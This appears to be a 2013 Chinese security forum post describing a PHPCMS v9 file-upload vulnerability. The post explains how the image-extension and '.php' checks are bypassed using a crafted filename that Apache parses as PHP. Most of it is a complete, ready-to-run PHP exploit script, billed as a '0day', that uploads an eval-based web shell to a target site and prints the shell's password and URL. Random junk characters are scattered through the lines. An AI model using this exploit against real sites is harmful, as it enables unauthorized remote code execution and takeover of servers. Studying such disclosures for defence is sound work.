找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2246|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行* g$ l/ R  y  a* c( `0 n
1 C8 V4 C. f0 w
简要描述:0 [6 W) u) l. I6 o. }# X' [- F
; ~4 @' u% C0 ^5 S- u) z
phpcms v9 getshell (apache)
  w) u0 Z, J/ d详细说明:: D" m( `! d9 K# ~8 V

9 ~  ~' @( r8 N& f! r漏洞文件:phpcms\modules\attachment\attachments.php! z. \2 U1 K  o' }6 \1 E

) G0 [9 |0 d# n9 c( J, H4 ?public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 3 o3 x8 K, k9 M4 a
后缀检测:phpcms\modules\attachment\functions\global.func.php
! b( I$ @0 ~' F5 Z# V
6 M$ B: S' W3 @2 p) _ # W) V# v* J0 H$ u6 B1 R0 E

0 n' y' {5 G8 G. y" \+ dfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
: W+ h, O7 ]9 ?( ]: r
# A4 ]- g4 z, K! l关键函数:* a1 L- [; M5 S5 Q/ k
3 K  {% m+ x) A! G- G- \" _+ d

3 Y: w; @% V: L7 \3 N' l; F3 Y' [/ n! Q1 v5 b
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  * _9 O" X2 ^2 t4 F" Z: n7 b
- K1 f( q: i1 f0 J: c! c  h
  Fileext函数是对文件后缀名的提取。
( R- P% L! Q4 T根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php3 w7 d" J# J! n" j3 d
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。/ S% V! Y& x4 D2 F
我们回到public function crop_upload() 函数中" N8 P8 B) y) }3 \+ I
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
$ r3 H# x0 M; c6 w3 x- z3 r; H) X  ]" X在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
- f5 e) S# V* P- ?这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
' N' h1 p4 N1 w" s* k7 v经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。! y0 S' n+ K' G; H$ R& a$ ^
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
6 C2 d$ B+ y  Z+ u9 t6 S看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 M7 r- i- z1 G( N漏洞证明:
% A; H, i% B" u, w
3 F5 Y" ^  V' A  |# \; Rexp:% f4 f" h) \: _' I2 _
- K7 h1 A: B! A6 F: m1 u4 Q
<?php
. ?% f) E! X1 L2 L% U  r! t3 aerror_reporting(E_ERROR);
3 g2 ^/ O' i/ J  s; p' Xset_time_limit(0);
5 T- F$ g) Y. R$ s/ Z. ~5 q$pass="ln";' j/ b9 E8 H0 o: `) a& l1 O9 }' w8 W
print_r('
& F' G2 R; D$ k! R! |! _* m+---------------------------------------------------------------------------+
4 q: R+ F- s  q/ \0 WPHPCms V9 GETSHELL 0DAY / }9 _5 U2 o" ?6 {1 r
code by L.N.
3 N* Z6 u  Z: r0 x1 g& G4 A- J9 Q7 R
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net' V5 T$ K6 G. g
+---------------------------------------------------------------------------+
2 l9 h' I  c- N: k. V- O" l');
# X5 ]4 _1 `: W. ?1 d6 W( W; Iif ($argc < 2) {% q# Y( N" ]& {! V' ^
print_r('! v. f3 W9 D' s/ b7 V( y! T' D
+---------------------------------------------------------------------------+
* E, u+ h( F5 ?9 a% X# @Usage: php '.$argv[0].' url path
& Z- _- M3 l* s! G2 k( I* [  y$ Y% Q
Example:
% \; }8 ^2 d! F3 _* ]1.php '.$argv[0].' lanu.sinaapp.com2 s* H2 G. s' b
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
( A! \* b* t& @5 n" T& \4 @: T+---------------------------------------------------------------------------+5 D% {6 G6 ^. O- J" ~$ C
');
7 G/ A! Y' A! ?6 X% _! H9 yexit;/ q. n( D9 I1 g& l9 M3 K9 h- @5 y' g- e) W
}" q$ A+ A( g* e! k

* n% w$ `0 T0 M, |; [1 n1 Q$url = $argv[1];3 c* c: ^% Q% C: J2 o; b& j
$path = $argv[2];
; W* v, X2 c* u) O& B6 n/ n$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';. U$ I' B' o1 K( ~% u
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
# l) m, ~8 ], Z) {  [& y+ Lif($ret=Create_dir($url,$path))
5 n5 F# C8 k$ v, E{
# ?3 E; B4 z, [8 ^//echo $ret;
8 V, `3 g2 n4 o5 {" T; b$pattern = "|Server:[^,]+?|U";
+ X1 C* V3 l9 S) ~0 W& Q% ^# apreg_match_all($pattern, $ret, $matches);
8 W; [  X) k8 ~# \3 C' n: L! `if($matches[0][0])8 o3 y/ ]: J8 h, Y1 R
{  \- ~6 ^1 A. k% ~; Q& a( y
if(strpos($matches[0][0],'Apache') == false)6 d3 \' r- J4 I6 R. Y% v
{
# K8 V: W% _$ s9 i& Kecho "\n亲!此网站不是apache的网站。\n";exit;
5 z  x' b4 \; z. _" W1 y}8 o, S2 G2 v5 U$ I6 p
}$ \* v& h' w0 P! I8 Y* ]6 o. C
$ret = GetShell($url,$phpshell,$path,$file);
, x! t$ G0 K& _" f& K, k$pattern = "|http:\/\/[^,]+?\.,?|U";
4 E  G! b: O" m5 ]preg_match_all($pattern, $ret, $matches);! |% T- _9 Y* o
if($matches[0][0]), k  t, I- p) U& u" }1 {# Z/ i; r
{
* X: T5 p4 _% Techo "\n".'密码为: '.$pass."\n";
( O& i% ?8 u3 i: @2 k7 Pecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
( N- X- y2 V( h; e5 f}$ @+ v% h; U5 D* Y
else
: H0 d2 V, E3 ?5 L0 B) O{
; G! T- N0 T& k$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
5 i0 |4 s# i/ O7 v2 s5 M4 w1 `preg_match_all($pattern, $ret, $matches);
* c5 L  P- _  h' l9 N( y# v- q% rif($matches[0][0])
7 v/ N! ]$ |- m/ B  Q{
* o2 L1 }( u  p! Z) q  X, Vecho "\n".'密码为: '.$pass."\n";6 g0 K  @3 y  z
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;" A# \' Y7 ^, V8 C! ^% Q
}! h1 S( j- X) A# U2 n( w/ z
else
9 x' n$ [4 g5 j: h{- w9 c$ b  T6 k5 L) v7 p
echo "\r\n没得到!\n";exit;
7 ^- N2 v- H+ g8 _; }+ K9 a}( ?8 U7 o+ E) l2 j0 _1 g# Q4 ]
}: Y/ B" s9 Q, v1 b7 L: @
}; J! O6 v( f6 t+ X
# Q# V8 ]  C) W6 A0 ^2 V- R0 o- h
function GetShell($url,$shell,$path,$js)2 e( \9 }9 P- r# r% J0 {
{0 N8 Q! {9 B' X2 P
$content =$shell;
2 `( `% B8 [! a# o% }- r: z1 I! B$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 z3 T6 [' x* r0 I6 v0 w, Q
$data .= "Host: ".$url."\r\n";+ ^4 k6 h4 J3 o, D, g1 A
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 j6 H4 D, W1 W7 Q4 K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
# v: m  U# s# j& Z; f3 p$ q$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";1 C! s5 d) @3 K3 G/ _5 n
$data .= "Connection: close\r\n";9 i! e2 k3 a& K5 ~
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
; |6 a1 @7 ?: V$data .= $content."\r\n";
9 k' @5 _* _1 ^% F5 x$ock=fsockopen($url,80);( h$ |% q0 f5 i8 l9 U) u
if (!$ock)/ s5 ~/ f- Q$ L& I( R4 W! x
{
+ L3 L9 `. v# F! Q( a2 A9 ^echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: e8 Q" s4 d( Q1 L) z* }}5 l9 @+ g1 b3 z6 U
else
  x- @' _' M8 j3 W{; G& c9 m3 T. W# X; w! `1 `
fwrite($ock,$data);7 q' ~+ B6 B$ _
$resp = '';& l9 ^* v% Z; z4 C
while (!feof($ock))
7 e% S4 k/ L& E{
5 h9 Y2 m( F/ G4 A' |2 ~$resp.=fread($ock, 1024);
! l- t4 |3 h. F; e}
2 R, a  Z2 F/ |2 {6 T' Freturn $resp;
4 L' R# n# X) v1 l7 [}
5 ^) h( `. `* M. G6 _1 W) l5 ^) o* o}
! P8 X/ L1 b& Y: ~6 S
. h8 s) h6 W% G# I2 ^function Create_dir($url,$path='')
  q5 n1 b" Z% H! D: k0 s% u; F{, D6 r+ c& _) _
$content ='I love you';
0 q5 z* b. j  f$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";# I# O& p+ [; \! @" h
$data .= "Host: ".$url."\r\n";
) T# h9 a; n8 y- W! Y: E* W$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ W0 b( C3 s; Z, ~* A; G- ^/ w$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";% E+ y, \# p# D' g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! I6 K5 Q# D6 B9 h  B0 |1 d$data .= "Connection: close\r\n";
$ O( z2 s% W* v& j/ A7 H$data .= "Content-Length: ".strlen($content)."\r\n\r\n";: f6 g) Y0 O3 Z  z- \( d2 g
$data .= $content."\r\n";
& j  Y/ L5 c. z0 H9 O$ock=fsockopen($url,80);
% ?8 `; R8 J+ S, v8 o: E! eif (!$ock)
" Q9 P! g- k8 e{' [+ r6 \: N6 k1 M; i5 g3 r9 T7 J
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;: f6 a5 L0 l5 X; e* R  n
}
3 Z# O5 c) y4 r7 O9 Gfwrite($ock,$data);
# Q9 P* j7 l8 D# f! t$resp = '';4 j. K' E6 |- |0 ~
while (!feof($ock))
( N( e1 L. v9 J& ?{
! R4 h- a0 R7 N8 ]5 c! j$resp.=fread($ock, 1024);0 E- N3 ]0 k) B6 ]- E
}4 p- H( R/ t+ u
return $resp;
1 q& x) u, |, Y! \# u# s2 d}7 G7 Z  K, `4 c. C  U9 h
?> # t6 K( d: `5 i) C  c) t) {; k8 |
; i# Q0 `3 y, A! U- I' X5 g0 X
修复方案:
8 k" L- K( O7 \6 w/ T5 o7 b; H% t9 n, `; ^* i3 c, g
过滤过滤再过滤. J0 X$ d" n5 J) o* ~) Y

7 _5 u4 I/ Y0 I5 L; W0 |  ?% |0 O9 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表